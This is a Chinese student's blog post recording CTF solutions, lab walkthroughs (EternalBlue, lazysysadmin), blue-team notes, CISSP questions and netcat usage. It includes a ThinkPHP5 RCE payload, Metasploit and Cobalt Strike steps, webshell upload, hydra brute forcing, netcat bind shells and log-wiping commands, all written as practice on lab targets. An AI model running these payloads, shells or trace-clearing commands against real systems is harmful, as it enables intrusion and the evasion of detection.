关于学期结束的一些题目的记录

感觉也是有点莫名其妙的自己就步入了大二生活。开学了,当然又不能写博客了。边做边记录,可能不太详细哈。
为这篇水文来个目录。
可以看一下感兴趣的地方。

一.CTF题目

1,php_rce

在这里插入图片描述
打开题目发现这考的应该是一个thinkphp版本5的漏洞复现。
属于thinkphp5 rce的漏洞。
一个远程代码执行漏洞。
我们对这个漏洞的补丁进行分析(其实在现在中也要关注各种各种补丁的发布,逆向出来看与原来有什么不同,找不到0day,实力np的话,1day也是要有的)

代码审计后发现补丁对控制器名称进行了过滤。
查看我们可以利用什么,调用什么。
步骤:
1,设置控制器为\think\App,便可以构造payload调用其方法invokeFuction
2,发现通过$_GET[’ ']传参
3,构造基本palyload:?s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

#其中call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
在这里插入图片描述4,找到自己想要找到的,将dir换成相应的php -r ‘system(“ls”);’

5,找到flag所在的目录
在这里插入图片描述6,然后进行cat,去得到flag

在这里插入图片描述

2,open-source

在这里插入图片描述打开附件在这里插入图片描述查看出是一段C代码,果断拿到主机的开发环境中试试。

拖进我的codeBlocks

在这里插入图片描述源代码中打印了出了what?,看起来就执行了第一个逻辑语句就完事了,向下查看代码,在第29行出现解题关键

在这里插入图片描述在分析代码中加上了注释。

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {

    int first = 0xcafe;
    int second = 25;
    argv[3] = "h4cky0u";

    printf("Brr wrrr grr\n");

    unsigned int hash = first * 31337 + (second % 17) * 11 + strlen(argv[3]) - 1615810207;

    printf("Get your key: ");
    printf("%x\n", hash);

    system("PAUSE");
    return 0;
}

然后删减代码,后面的不变,改变需要计算的地方

在这里插入图片描述
得到flag

3,give_you_flag

在这里插入图片描述
发现是一个GIF动图,按照CTF此题的尿性,一般藏在某一帧中,一闪而过,依次来达到隐写的效果。
还有类似与别的图片隐写的思路
细微的颜色差别,Exif信息隐藏,图片修复

用stegsolve打开,逐帧查找。

在这里插入图片描述发现残缺的二维码,这时候就要补全,可以使用ps补全(当然要是绘画的好,就画出来)

在这里插入图片描述然后用扫描工具进行扫描获得二维码(其实手机上可以下一个专门的扫码软件)

4,功夫再高也怕菜刀

在这里插入图片描述后缀名为pcapng格式,便知道这需要用wireshark进行流量分析。
我们先用foremost分离附件,看看里面有什么。
发现了加密的flag.txt
在这里插入图片描述随后我们打开鲨鱼查找字符串找一下flag.txt
在这里插入图片描述然后追踪TCP流
在这里插入图片描述发现一个很有关注点的地方,FFD8FF
JPEG (jpg),文件头:FFD8FF.
猜测这是一个jpg图片。
然后用winhex新建文件,将复制内容粘贴为Ascll Hex 格式并保存,修改后缀为.jpg

在这里插入图片描述ps:这些格式的文件头以及winhex,可以用于其他图片隐写中的图片修复中去。
我感觉这类题目练的是工具和思路的复现。
在这里插入图片描述
在这里插入图片描述然后输入的到flag

5,stegano

在这里插入图片描述打开附件
在这里插入图片描述发现没有什么特殊亮点,猜想又是一道隐写的题目。
复制全部文本,粘贴到sublime
在这里插入图片描述发现特殊之处ABAB,第一猜想是摩斯密码或者培根密码,但培根密码是五位一组,这里明显不符合
然后用py脚本换成.和-
在这里插入图片描述在python虽然字符串是不可变的,但可以用replace()产生一个新的对象,让内存对象的id重新生成。

A= 'BABA BBB BA BBA ABA AB B AAB ABAA AB B AA BBB BA AAA BBAABB AABA ABAA AB BBA BBBAAA ABBBB BA AAAB ABBBB AAAAA ABBBB BAAA ABAA AAABB BB AAABB AAAAA AAAAA AAAAB BBA AAABB'
b = A.replace('A', '.')
flag = b.replace('B', '-')
print(flag)

在这里插入图片描述然后解密得到flag,我感觉密码学这一块题目就是要连自己脚本逻辑书写能力,要是能的话,尽量自己写脚本解密出来。一直用网上在线解密感觉意义不大了。

6,Railfence

在这里插入图片描述一看题目介绍,就知道是栅栏密码
上脚本解密
在这里插入图片描述

'''常见的栅栏解密(实际为分组密码)(使用一维表单加密的)
    把要加密的信息分成N组,依次取各组的第1,2,3..位。
    觉得编程更多需要的是逻辑结构
    如
    明文:liumqian
    分组:lium
          qian
    密文:lqiiuamn(2栏)
    栅栏密码特点:栏数为密文长度的约数,并且明文长度和密文长度相同,通常为偶数个。
'''

C = input('输入要解密的密文C\n')
elen = len(C)  # 计算字符串长度
list = []  #定义一个空列表
for i in range(2, elen):  # 做一个循环,从2开始到数字elen(密文长度),因为栅栏密码最小分组为2
    if elen % i == 0:  # 计算那些数字能整除字符串长度,便可查找栏数
        list.append(i)  # 将能整出的数字加入list里面,list保存着可整除的栏数。

for f in list:
    b = elen // f  # 用字符串实际长度除以上面计算出能整出的数字f
    result = {x: '' for x in range(b)} #定义一个字典
    for i in range(elen):  # 字符串有多少位,就循环多少次
        a = i % b
        
        result.update({a: result[a] + C[i]})  # 字符串截断,并更新数据
    d = ''
    for i in range(b):
        d += result[i] #增强型运算符,+=中间不能加空格
    print('分为'+str(f)+'栏时,解密结果为:'+d+'\n')  # 输出结果,并开始下一个循环

发现不对劲主要是{}不对,不像flag的格式,上网查WP发现,这是栅栏WWW型,内心一句卧槽,还有变革型。
屈服能力不足,网上脚本也没有看明白,故放弃了自己练习脚本。
在线解密网站

在这里插入图片描述解密得到flag。

7,simple-unpack

在这里插入图片描述更加题目提示这是一个被加了壳的
先看看加了什么壳子
在这里插入图片描述UPX加壳
在这里插入图片描述进行simple脱壳
然后拖进IDA
在这里插入图片描述查找flag字符串得到flag值

8,SimpleRAR

在这里插入图片描述下载附件
在这里插入图片描述发现相应的文件头以损坏。
一般修复就打开winhex
在这里插入图片描述rar中,7a对应的是子块,而此需文件块即文件头部,故改为74
便能成功解压,发现空白图片,
在这里插入图片描述

根据题目的提示放在ps中,发现格式有不对,又winhex打开以后得知为gif,改后缀名为gif.
在这里插入图片描述成功打开以后没有特殊信息,猜测为图片隐写。

放在stegSolve查看

在这里插入图片描述
在这里插入图片描述
得到残缺的二维码
在这里插入图片描述放在ps补全二维码,扫码得到flag。

9,ics-06

在这里插入图片描述进入靶场,进入报表中心。
在这里插入图片描述用查看源代码和数据包的方式尝试解题。

在这里插入图片描述看到数据包中,id=1是可控的字段,尝试利用。
后发现
用字典爆破出来
当id=2333时,得到flag
在这里插入图片描述

10,easy_RSA

在这里插入图片描述

在这里插入图片描述在这里插入图片描述唯一的建议,中午睡觉起来不要晕晕做密码学的运算题,不然,哎,难受。

11,国外平台注入题目

在这里插入图片描述进入后发现提示要我们从level15_flag中找到flag字段
页面发现我们可控的为name,text两个值
进行分析
在这里插入图片描述找到基本语句模型,尝试逃逸
发现\可以逃逸出来
在这里插入图片描述
注入相关的sql语句进行尝试
然后根据题目提示,可找到flag字段了
在这里插入图片描述

二.漏洞复现

这次水水的复现永恒之蓝
(操作系统溢出漏洞)
靶机:win7

理所应当,先扫一下开了那些端口。(我这个namp感觉有点毛病)
看到了开放445端口,smb服务
在这里插入图片描述
开启msf,查找ms17_010

在这里插入图片描述可以先使用auxiliary辅助板块查看靶机是否能用永恒之蓝

随后
use auxiliary/scanner/smb/smb_ms17_010
在这里插入图片描述
设置相关的payload,rhosts,lhost
获得靶机的shell
在这里插入图片描述

然后可以进行cs平台维权嘛(因为暂时没到必须买vps的地步,我用本地搭建了)
设置一个listeners
在这里插入图片描述
在这里插入图片描述把payload拿到shell
在这里插入图片描述在这里插入图片描述便可得到上线主机

三.靶场应用

1,sqli-labs

先写一下sqli的,这里是记录的是POST基于时间与布尔注入和HTTP头注入。
打开我们的less15
在这里插入图片描述在这里插入图片描述
在这里插入图片描述其实相比GET型注入,post注入只是换到了数据包中而已,大体思路依然是:寻找猜测SQL执行语句,找到可以执行的注入点,判断逃逸方式以及有无过滤方式bypass。

如果要用SQLmap的话需要把POST请求保存在文本格式,用-r参数读取。
在这里插入图片描述sqlmap -r target.txt -p uname --technique B/T

-r指定要读取的文件路径,-p指定探测参数 ,–technique 指定探测类型,布尔型/时间盲注

在这里插入图片描述
这里便需要等待了。(ps:我平常练习SQLmap报错的时候,感觉很容易看出来哪里错了,或者遇到看不懂的单词,有道云翻译一下)

下面讲一下HTTP头注入呢,这也离不开sql注入的本质,第一这个参数属于我们可控范围,第二他与数据库发生了交互。

#代码太长了,这里我写几个重要的几段。
.............
$uagent = $_SERVER['HTTP_USER_AGENT']; #可以抓取修改的内容
...................
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);
			#发现进行了insert操作,与数据库进行了交互
..................

总感觉代码分析很重要,毕竟这是发现0day的很重要的方法。
在这里插入图片描述
在这里插入图片描述
剩下的便可对相应的地方进行注入测试了
ps:在这里插入图片描述我练习数据库的时候把admin的密码改成了123456,一般密码为admin。

这里进行sqlmap头注入需要主要要把注入的地方改成*
在这里插入图片描述
这里同样需要时间等待。
感觉对于sql注入有一定的通性,

import requests #不要打错了,前几天爆出有人在仓库投毒呢
dic="      " #定义尝试的值,类似于字典的作用
flag="^"  #定义要爆出值存储的地方,^是正则匹配用到的,假设过滤了=
common_url="     " #要比较的模板,布尔型盲注产生的前提,只有能尝试出两个不同的界面即可。
common_content=requests.get(common_url,proxies={'http': 'socks5://127.0.0.1:1080','https': 'socks5://127.0.0.1:1080'}).content
#可以走一个代理加快一下速度,如果想和bp联动的话,可以设置为proxiex={"http": "127.0.0.1:8080"}
for i in range(50): #要尝试的值的大小,一般感觉50就够了。
	for letter in dic:
		payload=flag+letter
		url="............ regexp "+"'"+payload+"'"+")%2b1" #要去尝试的注入GET型式的URL注入。这个URL是注入的payload形式。
		print(url)
		content=requests.get(url,proxies={'http': 'socks5://127.0.0.1:1080','https': 'socks5://127.0.0.1:1080'}).content
		if(content!=common_content): #比较页面内容,找到正确我们想要反馈页面
		flag=payload
		print(flag)
		break
		#第一次写这种代码,但感觉这种思路可以比较和借鉴一下。嘤嘤嘤

2,OSCP练习-lazysysadmin靶场

在这里插入图片描述因为是第一次打开,所以有点懵,我想是不是像metasploittable2,有密码登录什么的
在这里插入图片描述看了看也没有告诉账号密码,好吧,想多了。

在这里插入图片描述在VM得到子网的IP地址
在这里插入图片描述namp扫出真实的IP
在这里插入图片描述接着看详细信息开发了什么端口。方便进行下一步渗透。也可以对应端口进行一下msf漏洞利用,这里我试了一下都失败了。
如果能渗透进去却没有成功,一般是信息收集的时候没有找到正确的信息
在这里插入图片描述进一步看一下靶机有什么有效信息。
发现139,445共享端口的用户名和密码为空。
在这里插入图片描述查看共享目录
查找有效信息
在deets.txt发现密码为12345
在这里插入图片描述(ps:我一般喜欢几个环境一起搞靶机,哈哈,防止一个环境不好使。)
进入wordpress目录后发现一个有趣的文件,wp-config.php(相关配置文件)
在这里插入图片描述在配置文件找到USER,PASSWOED。(小本本记下来)

然后便可以访问一下靶机看一下有什么关注的网站了。
在这里插入图片描述
在这里插入图片描述
先看一下网站的指纹相关指纹信息(看一下找一下对于漏洞)
下一步,扫一下这个网站暴漏了什么敏感目录。

在这里插入图片描述第一看见,嗯,应该把字典再扩大一点。
然后kali下再查看一下。
在这里插入图片描述先看一看info.php,有没有什么敏感信息可以利用
在这里插入图片描述没有找到
然后访问phpmyadmin
用之前收集的用户和密码登录进去

在这里插入图片描述
发现权限太低,无法做一下有用的相关操作。

然后进入wordpress目录

在这里插入图片描述
看到一串 My name is togle,好的,我的用户字典有了togle了。

进入登录页面
根据题目提示一个很懒的人,一般这种人要不是设置简单密码,要不设置重复的密码。
在这里插入图片描述
发现用之前phpmyadmin密码登录进去了

这是想到了CISSP一道题目,在这里先展示一下。

Which of the following is a potential risk when a program runs in privileged mode?
当程序以特权模式运行时,以下哪一项是潜在的风险?
A. It may serve to create unnecessary code complexity可能导致创建不必要的代码复杂性
B. It may not enforce job separation duties可能无法强制职责分离
C. It may create unnecessary application hardening可能会产生不必要的应用程序加固
D. It may allow malicious code to be inserted可能允许插入恶意代码

Answer: D

现在你已经进入了特权模式了,还不写一个可以利用的payload吗。

在这里插入图片描述利用404反弹页面,上传一句话木马,访问后用菜刀连接。

利用hydra(九头蛇)加上之前收起的用户名和密码,爆破一下ssh
在这里插入图片描述
发现对应账号和弱口令。

尝试利用ssh服务端口,尝试远程连接目标靶机
在这里插入图片描述然后进行相应的提权工作。
在这里插入图片描述然后你可以进入到www目录下,进行文件上传工作了(主要是我是一边做一边记录,发现没保存,哈哈哈,那就懒得再去拾到一遍了)。

基于Linux一切都是文件文件特性,战后可以清楚一下痕迹。
1,history -c [清理当前用户]
2,vi/etc/profile,找到HISTSIZE这个值,修改为0。[使系统不保存命令记录]
3,查看对应日志,并进行删除工作。
如echo >/var/log/btmp [删除失败登录记录]

四,蓝队学习

  1. 红蓝对抗中,为什么要学习蓝队呢。额,怎么说,比较喜欢看看应该怎么防守吧,或者说“未知防,焉知攻“

    所以谈一下自己对蓝队的理解。
    就像红队进行信息收集一样,蓝队在战前也要进行信息收集,主要是摸清企业的家底,因为攻防态势是不平等,感觉红队只需要找到一个突破口即可,而蓝队需要保护整个企业网络。
    在战前要建立相应的组织架构。

指挥中心
实施检测小组,快速反应小组,应急反应小组and so on…

感觉这样可以分工明确,降低工作量。
现在我知道为啥蓝队面试的时候,能熬死鹰是个优势了,敌在暗我在明,啥时候攻击咋知道。从看到HW的记录来看,凌晨攻击的确是一个常态和好时机。
前期准备工作很重要,不同资产梳理进行相关登记。

比如说业务资产登记表
要记录相关业务系统的名称,责任人是谁,联系方式
业务系统类型,维护人员是谁。
服务器类型,域名/IP地址,服务器端口
中间件版本,系统部署位置,开发架构,数据库等。。。。
安全设备
首先这个很重要的凭证
对现在有的要进行相关记录
明确每台安全设备的功能,有效期,相关人员。
检测是否存在相关问题
要可以的话,可以购进新的设备

随后就要进行相关监控了,如核心目标业务系统,全网流量监控,主机流量,日志监控。

webshell查杀,可疑文件扫描和分析,钓鱼邮件,威胁情报,rootkit查杀,可疑账号查找,检测异常进程和端口

流量分析
感觉相关流量分析是很强的手段,额,正在学。

1,web流量包分析,找到相关web扫描,后台目录爆破,账号爆破。WEBSHELL上传。sql注入等。
常见的扫描器都有其特征参数
2,USB流量包分析
键盘映射关系:《USB键盘协议中键码》中的HID Usage ID
还原键位
漏洞观察
可以通过相关的监控设备实时对NIST,NVDB等进行监控,对比企业资产相关的,进行有效匹配和打补丁。
其次,还可利用扫描工具,如绿盟极光扫描器,但很多时候是基于版本的,这需要安全人员去刷选了。
流程
one,要准备相关工具,让庞大的监控量轻松。
比如GitHub上的日志分析。
two,先要判断触发的事件属于什么类型,等级。就像网络上要不要加密信息取决于信息的敏感程度。
three,发生了就要限制受害范围,不能让它继续扩大。
four,查找根源,修复漏洞,要是能根据线索,找到攻击者本身就更np了。
five,企业业务要恢复到正常水平,不然企业利益依然受损,那不代表对方继续成功造成了相关损失了。
six,总结并报告,并继续监控。
进行复盘
活动结束以后
对活动暴露的问题进行相关的汇总。
对整个防护过程进行相关复盘工作,吸取经验和教训。

战前整理的时候是否有遗漏的方面,遗漏的资产或者风险点等。
相关组织是否进行了有效的交流沟通。

毕竟还在学习阶段,现总结这么多,对于相关防御手段,有些繁琐,还是没搞明白一些,还要继续学习。

五.kali工具使用

这次介绍一下nc/ncat

基本功能
小身材,大能力—瑞士军刀
监听/传输模式
可传输文本信息/文件/目录,加密传输文件
远程控制/木马
加密所有流量
当作流媒体服务器
远程取证的时候,远程克隆硬盘

下面简介一下nc的基本能力
1,可以nc对方端口,发送一些指令,连接对方服务

nc -nv ip port

在这里插入图片描述
如作为客户端连接对方的110端口,并执行相关的命令。
-v,显示详细的连接的输出内容
-n,后续跟着是IP地址,no dns

进行相关的端口扫描

nc -nvz ip 1-65535

在这里插入图片描述-z是扫描模式
但扫描结果可能会受防火墙,过滤设备影响,结果会不太正确,在真实环境种可以使用多种方法去扫描,这个可起辅助参考作用。

剩下基本是需要两个系统nc之间开始互动了
这里只显示代码

服务端: nc -l -p 2333
客户端: nc -nv 服务端IP 2333

这样呢,就可以传输文本信息,类似于qq微信聊天,也可用于远程电子取证的信息收集。
在这里可以谈一谈nc在电子取证方面的能力
电子取证原则
: 1,尽量少的或不在服务器上去修改服务器机里面文件内容
2,因为你的操作可能导致覆盖了硬盘删区,因为删除文件,仅仅是把指针调前了,里面还有数据内容,随意操作可能导致无法恢复

文件发送端:nc -q 1 lp 222 <a.mp4
文件接受端:nc -nv 发送端ip 222>b.mp4

这里nc的功能是传输相关的文件

nc还可以进行块级别的备份,用于电子取证

取证电脑:nc -lp 333 |dd of=/dev/挂载硬盘名
被取证电脑:dd if=/dev/硬盘名 | nc -nv 取证电脑IP 333 -q 1

nc可以进行远程控制

服务器端:nc -lp 233 -c bash
客户端:nc 服务器端IP 233

windows用户把bash改成cmd即可
这里可以用于后渗透环节。不过最好是反向连接shell,还要写一个启动脚本的形式。
反向连接比其正向更加隐蔽一些。
为什么有NC-NCAT呢
因为NC本身缺乏加密和认证的能力
NCAT可弥补这个缺点

被控端:ncat -c bash -allow 控制端IP -vnl 233 -ssl
控制端:ncat -nv 被控端IP 233 -ssl

关于nc就先讲这些,主要也没有两个需要连接的系统,哈哈。

六.CISSP题目记录

本来想根据葛叔的要求,弄一下自己CISSP 的笔记呢,咳咳,字体太丑了,不拿出来丢人现眼了。
1,以下哪一种协议通常用于为VPN提供后端身份验证服务
A,HTTPS
B,RADIUS
C,ESP
D,AH

https是通信加密协议,不提供身份验证
IPsecVPN:身份认证头AH和封装安全有效载荷ESP,为其专有协议
RADIUS:为远程连接提供身份验证,类似的还有TACACS+和Diameter

2,susan需要为电子邮件提供一套最低安全要求,她怎样才能确保电子邮件的安全性?
A,所有电子邮件应加密
B,所有电子邮件应加密并标记
C,敏感电子邮件应加密并标记
D,仅高度敏感的电子邮件应加密

加密和标记敏感电子邮件可确保其保密的,可识别的。
只对敏感邮件执行,可降低加密成本和工作量。

3,由电子邮件引入的威胁通常有哪些?

电子邮件通常可以是病毒,木马,破坏性宏的文档和钓鱼进攻,蠕虫的传递机制。

4,Suan正在部署一个路由协议,该协议维护目标网络列表,其中包含与这些网络的距离以及应向其发送流量的方向的指标。她使用什么类型的协议?
A,链路状态协议
B,链路距离协议
C,目标指标协议
D,距离矢量协议

路由协议有两大类:1,链路状态协议(link-state routing protocol)
典型OSPF,适合大中网络
2,距离矢量协议(Distance-vector protocol),典型RIP,适合小型网络
题中写的很明白,距离嘛

5,Susan已将网络配置为不广播SSID,为什么Ben可能会禁用SSID广播,以及如何发现他的SSID?
A,禁用SSID广播可防止攻击者发现加密密钥。可以从解密的数据包中恢复SSID。
B,禁用SSID广播会隐藏网络免受未经授权的人员的使用。可以使用无线嗅探器发现SSID。
C,禁用SSID广播可防止信标帧问题。SSID可以通过重建BSSID来恢复。
D,禁用SSID广播有助于避免SSID冲突。可以通过尝试连接到网络来发现SSID。

无线网络安全
SSID,可以理解为WiFi名称
家里隐藏这个主要不想被白嫖,也就是不想让未授权人连接
但只要你找到了名称还是可以搜到的
无线嗅探器如,air-ng

七.近期的使用问题

最近把kali安了2020
卧槽,安装那个软件包的时候,老是失败,估计是被GFW屏蔽了。
在这里插入图片描述然后改成国内源才通过的。
使用codeBlocks出现了这个
在这里插入图片描述
我是重装以后取消汉化以后才消失的,因为汉字在Unicode中,英语只需ASCII。所以感觉很多情况出现乱码和不能干事。

八,自娱自乐,提高逆向兴趣,

在这里插入图片描述
先写一个小程序,这个程序正常要选是1----
现在要破环一下程序的结构。
放到OD中
在这里插入图片描述找到程序开始的地方
在这里插入图片描述这个程序最后逻辑结构的实现,在jnz跳转哪里
实现这个简单逆向前提呢,
要知道零标志ZF

零标志是根据每一位加法器的计算结构FiF_iF i 相或得到的,所以只有在结果的每一位都为0的时候所有为相或才能得到0的输出,但是或门上有取反符号,所以在ZF标志的输出为1时代表结果全零,反之不全为0
指令 JNE
描述 如果不等于(<>)则跳转
条件 0标志=0
别名 JNZ
相反指令 JE

在这里插入图片描述
自娱自乐,哈哈哈,在现实中,可能会遇到各种各样的保护机制,各种各样的反调试。

九.自己的闲话(简称:瞎逼逼)

在圈子里面,或者在社会上面,我觉得最忌口就是,砸别人饭碗,如果你砸了这个人饭碗,他可能无休止的找你麻烦把。
大一生活结束了。

在这里插入图片描述
还行吧,咳咳,为什么一处打马赛克呢,那是别的学校的网课,简称天灾加人祸,妈了个蛋的。
必修 的五门平均分89.2。
好了,写完了,要去写调研报告了,可能2020最后一篇博客了。就算是大一,也有人给我安排别的活,算是服了。

猜你喜欢

转载自blog.csdn.net/qq_46854899/article/details/107770577
今日推荐